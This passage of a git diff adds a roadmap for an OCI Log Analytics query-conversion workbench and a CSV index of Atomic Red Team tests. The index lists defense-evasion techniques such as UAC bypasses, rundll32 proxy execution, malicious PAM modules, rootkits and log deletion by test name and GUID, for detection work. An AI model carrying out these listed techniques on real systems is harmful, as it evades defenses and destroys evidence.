enforce the producer/consumer artifact boundary. +- Next.js/React/TypeScript: implement the integrated workbench UI. +- Playwright or Browser checks: verify desktop/mobile workbench behavior in `webapp/`. + +### Expected Features + +**Must have:** +- Source language selector for Splunk SPL, Sentinel KQL, Elastic/Lucene/KQL, Sigma/YAML, and OCI Logan QL. +- Source editor, OCI output panel, copy/export controls, and warning states. +- Official OCI Log Analytics command menu generated from Oracle docs. +- Mapping explanation that traces source clauses to OCI commands, fields, and support levels. +- 10-20 validated examples across the requested source languages. + +**Should have:** +- Command menu entries that can filter mapping guidance or insert examples. +- Security-detection-aware warnings tied to field mapping and parser readiness. +- Import/build gates that prove `webapp/` artifacts are current. + +**Defer:** +- Live OCI parser validation from the browser. +- LLM-assisted conversion or explanation. +- Team-shared conversion history. + +### Architecture Approach + +Keep conversion/reference production in this repo and UI interaction in `webapp/`. This repo should produce `queries/logan_ql_reference_catalog.json`, `queries/cross_ql_mapping_patterns.json`, `queries/conversion_examples.json`, and `schemas/logan_workbench/*.schema.json`. The integrated frontend validates and renders those artifacts, and any arbitrary-query conversion path must be defined through a request/response contract that can wrap producer-side converters. + +### Critical Pitfalls + +1. **Stale OCI command menu:** Generate from official docs with provenance and tests. +2. **Silent semantic loss:** Mark each mapping as supported, warning, lossy, or unsupported. +3. **Repo boundary drift:** Define schemas and ownership before UI implementation. +4. **Tenant data leakage:** Use synthetic logs only and scan examples. +5. **Untestable UI:** Require producer artifact tests plus `webapp/` build/type/lint/e2e gates. + +## Implications for Roadmap + +### Phase 12: Frontend Boundary and Artifact/API Contract + +**Rationale:** The milestone spans producer scripts and `webapp/`, so ownership and schemas must come first. +**Delivers:** Integrated target decision, artifact names, JSON schemas, conversion request/response contract, and import strategy. +**Avoids:** Repo boundary drift. + +### Phase 13: Official OCI Logan QL Reference Catalog + +**Rationale:** The command menu is a first-class user requirement and must not be hand-authored. +**Delivers:** Generated command catalog from official Oracle pages with provenance and tests. +**Avoids:** Stale OCI reference data. + +### Phase 14: Cross-QL Conversion Pattern Library + +**Rationale:** Users asked for mapping from any QL to OCI Log Analytics QL; this requires deterministic pattern coverage before UI polish. +**Delivers:** Mapping patterns for Splunk, Sentinel, Elastic/Lucene/KQL, Sigma, and OCI passthrough with support levels and explanations. +**Avoids:** Silent semantic loss. + +### Phase 15: Integrated Workbench UX + +**Rationale:** Once artifacts are stable, `webapp/` can implement the real workbench as the first screen. +**Delivers:** Editor, output, command menu, explanation panel, example picker, warnings, and copy/export actions. +**Avoids:** Landing-page-first or documentation-only implementation. + +### Phase 16: Examples, Validation, and Release Gates + +**Rationale:** The milestone is not production-ready until examples and artifact/UI contracts are tested end to end. +**Delivers:** 10-20 validated conversions, producer tests, `webapp/` gates, sensitive-value scans, and handoff docs. +**Avoids:** Demo-only behavior and data leakage. + +## Confidence Assessment + +| Area | Confidence | Notes | +|------|------------|-------| +| Stack | HIGH | Integrated `webapp/` stack is known; producer-side Python boundary is already established. | +| Features | HIGH | User request and comparable tools define the expected workbench surface clearly. | +| Architecture | HIGH | Repo hard rules require UI/API consumers to consume generated artifacts. | +| Pitfalls | HIGH | Prior Sentinel conversion work exposed the main risks around semantic loss, live validation, and synthetic data. | + +**Overall confidence:** HIGH. + +## Gaps to Address + +- **Integrated target:** Phase 12 now records `webapp/` as the maintained UI surface. +- **Arbitrary SPL/Elastic depth:** Phase 14 must define first supported constructs and warnings rather than promising complete language parity. +- **Docs scraping mechanics:** Phase 13 should fixture official docs pages so local tests are deterministic. + +## Sources + +### Primary + +- Oracle OCI Log Analytics query search documentation. +- Oracle OCI Log Analytics command reference. +- Project artifact boundary rules in `AGENTS.md` and `.planning/PROJECT.md`. + +### Secondary + +- `webapp/package.json` for the integrated frontend stack. +- User-provided comparable tools: sigconverter.io and Uncoder.io. + +--- +*Research completed: 2026-05-17* +*Ready for roadmap: yes* diff --git a/observability-and-management/assets/oci-log-analytics-detections/AGENTS.md b/observability-and-management/assets/oci-log-analytics-detections/AGENTS.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/CATALOG.md b/observability-and-management/assets/oci-log-analytics-detections/CATALOG.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/CLAUDE.md b/observability-and-management/assets/oci-log-analytics-detections/CLAUDE.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/CONTRIBUTING.md b/observability-and-management/assets/oci-log-analytics-detections/CONTRIBUTING.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/LICENSE b/observability-and-management/assets/oci-log-analytics-detections/LICENSE new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/PLAN.md b/observability-and-management/assets/oci-log-analytics-detections/PLAN.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/README.md b/observability-and-management/assets/oci-log-analytics-detections/README.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/SOC_Security_Dashboard.sh b/observability-and-management/assets/oci-log-analytics-detections/SOC_Security_Dashboard.sh new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/STATUS.md b/observability-and-management/assets/oci-log-analytics-detections/STATUS.md new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/config/art_index.csv b/observability-and-management/assets/oci-log-analytics-detections/config/art_index.csv new file mode 100644 index 000000000..e82e50777 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/config/art_index.csv @@ -0,0 +1,2298 @@ +Tactic,Technique #,Technique Name,Test #,Test Name,Test GUID,Executor Name +defense-evasion,T1055.011,Process Injection: Extra Window Memory Injection,1,Process Injection via Extra Window Memory (EWM) x64 executable,93ca40d2-336c-446d-bcef-87f14d438018,powershell +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,1,Rundll32 execute JavaScript Remote Payload With GetObject,57ba4ce9-ee7a-4f27-9928-3c70c489b59d,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,2,Rundll32 execute VBscript command,638730e7-7aed-43dc-bf8c-8117f805f5bb,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,3,Rundll32 execute VBscript command using Ordinal number,32d1cf1b-cbc2-4c09-8d05-07ec5c83a821,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,4,Rundll32 advpack.dll Execution,d91cae26-7fc1-457b-a854-34c8aad48c89,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,5,Rundll32 ieadvpack.dll Execution,5e46a58e-cbf6-45ef-a289-ed7754603df9,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,6,Rundll32 syssetup.dll Execution,41fa324a-3946-401e-bbdd-d7991c628125,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,7,Rundll32 setupapi.dll Execution,71d771cd-d6b3-4f34-bc76-a63d47a10b19,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,8,Execution of HTA and VBS Files using Rundll32 and URL.dll,22cfde89-befe-4e15-9753-47306b37a6e3,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,9,Launches an executable using Rundll32 and pcwutl.dll,9f5d081a-ee5a-42f9-a04e-b7bdc487e676,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,10,Execution of non-dll using rundll32.exe,ae3a8605-b26e-457c-b6b3-2702fd335bac,powershell +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,11,Rundll32 with Ordinal Value,9fd5a74b-ba89-482a-8a3e-a5feaa3697b0,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,12,Rundll32 with Control_RunDLL,e4c04b6f-c492-4782-82c7-3bf75eb8077e,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,13,Rundll32 with desk.cpl,83a95136-a496-423c-81d3-1c6750133917,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,14,Running DLL with .init extension and function,2d5029f0-ae20-446f-8811-e7511b58e8b6,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,15,Rundll32 execute command via FileProtocolHandler,f3ad3c5b-1db1-45c1-81bf-d3370ebab6c8,command_prompt +defense-evasion,T1218.011,Signed Binary Proxy Execution: Rundll32,16,Rundll32 execute payload by calling RouteTheCall,8a7f56ee-10e7-444c-a139-0109438288eb,powershell +defense-evasion,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,1,Malicious PAM rule,4b9dde80-ae22-44b1-a82a-644bf009eb9c,sh +defense-evasion,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,2,Malicious PAM rule (freebsd),b17eacac-282d-4ca8-a240-46602cf863e3,sh +defense-evasion,T1556.003,Modify Authentication Process: Pluggable Authentication Modules,3,Malicious PAM module,65208808-3125-4a2e-8389-a0a00e9ab326,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",1,chmod - Change file or folder mode (numeric mode),34ca1464-de9d-40c6-8c77-690adf36a135,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",2,chmod - Change file or folder mode (symbolic mode),fc9d6695-d022-4a80-91b1-381f5c35aff3,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",3,chmod - Change file or folder mode (numeric mode) recursively,ea79f937-4a4d-4348-ace6-9916aec453a4,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",4,chmod - Change file or folder mode (symbolic mode) recursively,0451125c-b5f6-488f-993b-5a32b09f7d8f,bash +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",5,chown - Change file or folder ownership and group,d169e71b-85f9-44ec-8343-27093ff3dfc0,bash +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",6,chown - Change file or folder ownership and group recursively,b78598be-ff39-448f-a463-adbf2a5b7848,bash +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",7,chown - Change file or folder mode ownership only,967ba79d-f184-4e0e-8d09-6362b3162e99,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",8,chown - Change file or folder ownership recursively,3b015515-b3d8-44e9-b8cd-6fa84faf30b2,bash +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",9,chattr - Remove immutable file attribute,e7469fe2-ad41-4382-8965-99b94dd3c13f,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",10,chflags - Remove immutable file attribute,60eee3ea-2ebd-453b-a666-c52ce08d2709,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",11,Chmod through c script,973631cf-6680-4ffa-a053-045e1b6b67ab,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",12,Chmod through c script (freebsd),da40b5fe-3098-4b3b-a410-ff177e49ee2e,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",13,Chown through c script,18592ba1-5f88-4e3c-abc8-ab1c6042e389,sh +defense-evasion,T1222.002,"File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification",14,Chown through c script (freebsd),eb577a19-b730-4918-9b03-c5edcf51dc4e,sh +defense-evasion,T1216.001,Signed Script Proxy Execution: Pubprn,1,PubPrn.vbs Signed Script Bypass,9dd29a1f-1e16-4862-be83-913b10a88f6c,command_prompt +defense-evasion,T1006,Direct Volume Access,1,Read volume boot sector via DOS device path (PowerShell),88f6327e-51ec-4bbf-b2e8-3fea534eab8b,powershell +defense-evasion,T1564.008,Hide Artifacts: Email Hiding Rules,1,New-Inbox Rule to Hide E-mail in M365,30f7d3d1-78e2-4bf0-9efa-a175b5fce2a9,powershell +defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,1,Decode Eicar File and Write to File,7693ccaa-8d64-4043-92a5-a2eb70359535,powershell +defense-evasion,T1027.013,Obfuscated Files or Information: Encrypted/Encoded File,2,Decrypt Eicar File and Write to File,b404caaa-12ce-43c7-9214-62a531c044f7,powershell +defense-evasion,T1014,Rootkit,1,Loadable Kernel Module based Rootkit,dfb50072-e45a-4c75-a17e-a484809c8553,sh +defense-evasion,T1014,Rootkit,2,Loadable Kernel Module based Rootkit,75483ef8-f10f-444a-bf02-62eb0e48db6f,sh +defense-evasion,T1014,Rootkit,3,dynamic-linker based rootkit (libprocesshider),1338bf0c-fd0c-48c0-9e65-329f18e2c0d3,sh +defense-evasion,T1014,Rootkit,4,Loadable Kernel Module based Rootkit (Diamorphine),0b996469-48c6-46e2-8155-a17f8b6c2247,sh +defense-evasion,T1036.007,Masquerading: Double File Extension,1,File Extension Masquerading,c7fa0c3b-b57f-4cba-9118-863bf4e653fc,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,1,Bypass UAC using Event Viewer (cmd),5073adf8-9a50-4bd9-b298-a9bd2ead8af9,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,2,Bypass UAC using Event Viewer (PowerShell),a6ce9acf-842a-4af6-8f79-539be7608e2b,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,3,Bypass UAC using Fodhelper,58f641ea-12e3-499a-b684-44dee46bd182,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,4,Bypass UAC using Fodhelper - PowerShell,3f627297-6c38-4e7d-a278-fc2563eaaeaa,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,5,Bypass UAC using ComputerDefaults (PowerShell),3c51abf2-44bf-42d8-9111-dc96ff66750f,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,6,Bypass UAC by Mocking Trusted Directories,f7a35090-6f7f-4f64-bb47-d657bf5b10c1,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,7,Bypass UAC using sdclt DelegateExecute,3be891eb-4608-4173-87e8-78b494c029b7,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,8,Disable UAC using reg.exe,9e8af564-53ec-407e-aaa8-3cb20c3af7f9,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,9,Bypass UAC using SilentCleanup task,28104f8a-4ff1-4582-bcf6-699dce156608,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,10,UACME Bypass Method 23,8ceab7a2-563a-47d2-b5ba-0995211128d7,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,11,UACME Bypass Method 31,b0f76240-9f33-4d34-90e8-3a7d501beb15,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,12,UACME Bypass Method 33,e514bb03-f71c-4b22-9092-9f961ec6fb03,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,13,UACME Bypass Method 34,695b2dac-423e-448e-b6ef-5b88e93011d6,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,14,UACME Bypass Method 39,56163687-081f-47da-bb9c-7b231c5585cf,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,15,UACME Bypass Method 56,235ec031-cd2d-465d-a7ae-68bab281e80e,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,16,UACME Bypass Method 59,dfb1b667-4bb8-4a63-a85e-29936ea75f29,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,17,UACME Bypass Method 61,7825b576-744c-4555-856d-caf3460dc236,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,18,WinPwn - UAC Magic,964d8bf8-37bc-4fd3-ba36-ad13761ebbcc,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,19,WinPwn - UAC Bypass ccmstp technique,f3c145f9-3c8d-422c-bd99-296a17a8f567,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,20,WinPwn - UAC Bypass DiskCleanup technique,1ed67900-66cd-4b09-b546-2a0ef4431a0c,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,21,WinPwn - UAC Bypass DccwBypassUAC technique,2b61977b-ae2d-4ae4-89cb-5c36c89586be,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,22,Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key,251c5936-569f-42f4-9ac2-87a173b9e9b8,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,23,UAC Bypass with WSReset Registry Modification,3b96673f-9c92-40f1-8a3e-ca060846f8d9,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,24,Disable UAC - Switch to the secure desktop when prompting for elevation via registry key,85f3a526-4cfa-4fe7-98c1-dea99be025c7,powershell +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,25,Disable UAC notification via registry keys,160a7c77-b00e-4111-9e45-7c2a44eda3fd,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,26,Disable ConsentPromptBehaviorAdmin via registry keys,a768aaa2-2442-475c-8990-69cf33af0f4e,command_prompt +defense-evasion,T1548.002,Abuse Elevation Control Mechanism: Bypass User Account Control,27,UAC bypassed by Utilizing ProgIDs registry.,b6f4645c-34ea-4c7c-98f2-d5a2747efb08,command_prompt +defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,1,Sudo usage,150c3a08-ee6e-48a6-aeaf-3659d24ceb4e,sh +defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,2,Sudo usage (freebsd),2bf9a018-4664-438a-b435-cc6f8c6f71b1,sh +defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,3,Unlimited sudo cache timeout,a7b17659-dd5e-46f7-b7d1-e6792c91d0bc,sh +defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,4,Unlimited sudo cache timeout (freebsd),a83ad6e8-6f24-4d7f-8f44-75f8ab742991,sh +defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,5,Disable tty_tickets for sudo caching,91a60b03-fb75-4d24-a42e-2eb8956e8de1,sh +defense-evasion,T1548.003,Abuse Elevation Control Mechanism: Sudo and Sudo Caching,6,Disable tty_tickets for sudo caching (freebsd),4df6a0fe-2bdd-4be8-8618-a6a19654a57a,sh +defense-evasion,T1542.001,Pre-OS Boot: System Firmware,1,UEFI Persistence via Wpbbin.exe File Creation,b8a49f03-e3c4-40f2-b7bb-9e8f8fdddbf1,powershell +defense-evasion,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,1,Service Registry Permissions Weakness,f7536d63-7fd4-466f-89da-7e48d550752a,powershell +defense-evasion,T1574.011,Hijack Execution Flow: Services Registry Permissions Weakness,2,Service ImagePath Change with reg.exe,f38e9eea-e1d7-4ba6-b716-584791963827,command_prompt +defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,1,Execute a process from a directory masquerading as the current parent directory,812c3ab8-94b0-4698-a9bf-9420af23ce24,sh +defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,2,Masquerade as a built-in system executable,35eb8d16-9820-4423-a2a1-90c4f5edd9ca,powershell +defense-evasion,T1036.005,Masquerading: Match Legitimate Name or Location,3,Masquerading cmd.exe as VEDetector.exe,03ae82a6-9fa0-465b-91df-124d8ca5c4e8,powershell +defense-evasion,T1564,Hide Artifacts,1,Extract binary files via VBA,6afe288a-8a8b-4d33-a629-8d03ba9dad3a,powershell +defense-evasion,T1564,Hide Artifacts,2,"Create a Hidden User Called ""$""",2ec63cc2-4975-41a6-bf09-dffdfb610778,command_prompt +defense-evasion,T1564,Hide Artifacts,3,"Create an ""Administrator "" user (with a space on the end)",5bb20389-39a5-4e99-9264-aeb92a55a85c,powershell +defense-evasion,T1564,Hide Artifacts,4,Create and Hide a Service with sc.exe,333c7de0-6fbe-42aa-ac2b-c7e40b18246a,command_prompt +defense-evasion,T1564,Hide Artifacts,5,Command Execution with NirCmd,2748ab4a-1e0b-4cf2-a2b0-8ef765bec7be,powershell +defense-evasion,T1484.002,Domain Trust Modification,1,Add Federation to Azure AD,8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7,powershell +defense-evasion,T1562.009,Impair Defenses: Safe Boot Mode,1,Safe Mode Boot,2a78362e-b79a-4482-8e24-be397bce4d85,command_prompt +defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,1,Detect Virtualization Environment (Linux),dfbd1a21-540d-4574-9731-e852bd6fe840,sh +defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,2,Detect Virtualization Environment (FreeBSD),e129d73b-3e03-4ae9-bf1e-67fc8921e0fd,sh +defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,3,Detect Virtualization Environment (Windows),502a7dc4-9d6f-4d28-abf2-f0e84692562d,powershell +defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,4,Detect Virtualization Environment via ioreg,a960185f-aef6-4547-8350-d1ce16680d09,sh +defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,5,Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows),4a41089a-48e0-47aa-82cb-5b81a463bc78,powershell +defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,6,Detect Virtualization Environment using sysctl (hw.model),6beae646-eb4c-4730-95be-691a4094408c,sh +defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,7,Check if System Integrity Protection is enabled,2b73cd9b-b2fb-4357-b9d7-c73c41d9e945,sh +defense-evasion,T1497.001,Virtualization/Sandbox Evasion: System Checks,8,Detect Virtualization Environment using system_profiler,e04d2e89-de15-4d90-92f9-a335c7337f0f,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",1,rm -rf,989cc1b1-3642-4260-a809-54f9dd559683,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",2,rm -rf,bd8ccc45-d632-481e-b7cf-c467627d68f9,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",3,Delete log files using built-in log utility,653d39cd-bae7-499a-898c-9fb96b8b5cd1,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",4,Truncate system log files via truncate utility,6290f8a8-8ee9-4661-b9cf-390031bf6973,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",5,Truncate system log files via truncate utility (freebsd),14033063-ee04-4eaf-8f5d-ba07ca7a097c,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",6,Delete log files via cat utility by appending /dev/null or /dev/zero,c23bdb88-928d-493e-b46d-df2906a50941,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",7,Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd),369878c6-fb04-48d6-8fc2-da9d97b3e054,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",8,System log file deletion via find utility,bc8eeb4a-cc3e-45ec-aa6e-41e973da2558,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",9,Overwrite macOS system log via echo utility,0208ea60-98f1-4e8c-8052-930dce8f742c,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",10,Overwrite FreeBSD system log via echo utility,11cb8ee1-97fb-4960-8587-69b8388ee9d9,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",11,Real-time system log clearance/deletion,848e43b3-4c0a-4e4c-b4c9-d1e8cea9651c,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",12,Delete system log files via unlink utility,03013b4b-01db-437d-909b-1fdaa5010ee8,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",13,Delete system log files via unlink utility (freebsd),45ad4abd-19bd-4c5f-a687-41f3eee8d8c2,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",14,Delete system log files using shred utility,86f0e4d5-3ca7-45fb-829d-4eda32b232bb,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",15,Delete system log files using srm utility,b0768a5e-0f32-4e75-ae5b-d036edcf96b6,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",16,Delete system log files using OSAScript,810a465f-cd4f-47bc-b43e-d2de3b033ecc,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",17,Delete system log files using Applescript,e62f8694-cbc7-468f-862c-b10cd07e1757,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",18,Delete system journal logs via rm and journalctl utilities,ca50dd85-81ff-48ca-92e1-61f119cb1dcf,sh +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",19,Overwrite Linux Mail Spool,1602ff76-ed7f-4c94-b550-2f727b4782d4,bash +defense-evasion,T1070.002,"Indicator Removal on Host: Clear FreeBSD, Linux or Mac System Logs",20,Overwrite Linux Log,d304b2dc-90b4-4465-a650-16ddd503f7b5,bash +defense-evasion,T1218.004,Signed Binary Proxy Execution: InstallUtil,1,CheckIfInstallable method call,ffd9c807-d402-47d2-879d-f915cf2a3a94,powershell +defense-evasion,T1218.004,Signed Binary Proxy Execution: InstallUtil,2,InstallHelper method call,d43a5bde-ae28-4c55-a850-3f4c80573503,powershell +defense-evasion,T1218.004,Signed Binary Proxy Execution: InstallUtil,3,InstallUtil class constructor method call,9b7a7cfc-dd2e-43f5-a885-c0a3c270dd93,powershell +defense-evasion,T1218.004,Signed Binary Proxy Execution: InstallUtil,4,InstallUtil Install method call,9f9968a6-601a-46ca-b7b7-6d4fe0f98f0b,powershell +defense-evasion,T1218.004,Signed Binary Proxy Execution: InstallUtil,5,InstallUtil Uninstall method call - /U variant,34428cfa-8e38-41e5-aff4-9e1f8f3a7b4b,powershell +defense-evasion,T1218.004,Signed Binary Proxy Execution: InstallUtil,6,InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant,06d9deba-f732-48a8-af8e-bdd6e4d98c1d,powershell +defense-evasion,T1218.004,Signed Binary Proxy Execution: InstallUtil,7,InstallUtil HelpText method call,5a683850-1145-4326-a0e5-e91ced3c6022,powershell +defense-evasion,T1218.004,Signed Binary Proxy Execution: InstallUtil,8,InstallUtil evasive invocation,559e6d06-bb42-4307-bff7-3b95a8254bad,powershell +defense-evasion,T1574.001,Hijack Execution Flow: DLL,1,DLL Search Order Hijacking - amsi.dll,8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3,command_prompt +defense-evasion,T1574.001,Hijack Execution Flow: DLL,2,Phantom Dll Hijacking - WinAppXRT.dll,46ed938b-c617-429a-88dc-d49b5c9ffedb,command_prompt +defense-evasion,T1574.001,Hijack Execution Flow: DLL,3,Phantom Dll Hijacking - ualapi.dll,5898902d-c5ad-479a-8545-6f5ab3cfc87f,command_prompt +defense-evasion,T1574.001,Hijack Execution Flow: DLL,4,DLL Side-Loading using the Notepad++ GUP.exe binary,65526037-7079-44a9-bda1-2cb624838040,command_prompt +defense-evasion,T1574.001,Hijack Execution Flow: DLL,5,DLL Side-Loading using the dotnet startup hook environment variable,d322cdd7-7d60-46e3-9111-648848da7c02,command_prompt +defense-evasion,T1574.001,Hijack Execution Flow: DLL,6,"DLL Search Order Hijacking,DLL Sideloading Of KeyScramblerIE.DLL Via KeyScrambler.EXE",c095ad8e-4469-4d33-be9d-6f6d1fb21585,powershell +defense-evasion,T1553.001,Subvert Trust Controls: Gatekeeper Bypass,1,Gatekeeper Bypass,fb3d46c6-9480-4803-8d7d-ce676e1f1a9b,sh +defense-evasion,T1222.001,File and Directory Permissions Modification: Windows File and Directory Permissions Modification,1,Take ownership using takeown utility,98d34bb4-6e75-42ad-9c41-1dae7dc6a001,command_prompt +defense-evasion,T1222.001,File and Directory Permissions Modification: Windows File and Directory Permissions Modification,2,cacls - Grant permission to specified user or group recursively,a8206bcc-f282-40a9-a389-05d9c0263485,command_prompt +defense-evasion,T1222.001,File and Directory Permissions Modification: Windows File and Directory Permissions Modification,3,attrib - Remove read-only attribute,bec1e95c-83aa-492e-ab77-60c71bbd21b0,command_prompt +defense-evasion,T1222.001,File and Directory Permissions 